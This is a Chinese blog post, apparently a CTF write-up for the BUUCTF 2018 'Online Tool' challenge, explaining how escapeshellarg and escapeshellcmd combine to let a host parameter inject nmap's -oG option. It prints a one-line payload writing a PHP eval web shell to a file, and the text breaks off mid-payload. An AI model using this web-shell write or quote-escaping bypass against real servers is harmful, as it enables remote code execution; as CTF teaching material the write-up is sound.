[BUUCTF 2018]Online Tool PHP代码审计

这篇博客主要探讨了BUUCTF 2018中在线工具的PHP代码审计问题。文章指出,nmap -oG 命令可以用于写入文件,并详细解释了如何利用escapeshellarg和escapeshellcmd函数来过滤和转义特殊字符,尤其是单引号,以防止注入攻击。通过具体的例子,展示了这两个函数如何影响字符串的处理,最终得出结论:在处理用户输入时,必须谨慎使用这些函数以确保安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[BUUCTF 2018]Online Tool PHP代码审计
题目一开始的一段代码
在这里插入图片描述
这里的知识点是nmap -oG 可以写入文件
例如: nmap <?php eval($_POST['cmd']); ?> -oG 1.php

这里是host传参,但是不能直接写入,因为前面有两个函数过滤单引号之类的特殊字符
escapeshellarg的用处是有单引号就会在前面加个\转义,并且将两边的字符用单引号括起来,例如:

$host = "a'";
escapeshellarg($host);
echo $host;
输出 'a'\'''
\'是转义单引号

escapeshellcmd与上面的函数有所不同,它只会将不成对的单引号或\前加
例如:

上面输出的字符 'a'\'''
$host =  "'a'\'''";
escapeshellcmd($host);
echo $host;
输出  'a'\\''\'
单个\所以前面再加个\,前面两个'把a闭合了'a' ,后面''闭合了,只剩最
后面一个单着的单引号,所以前面加一个\

所以我们再host参数是变成
?host='<?php ev

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值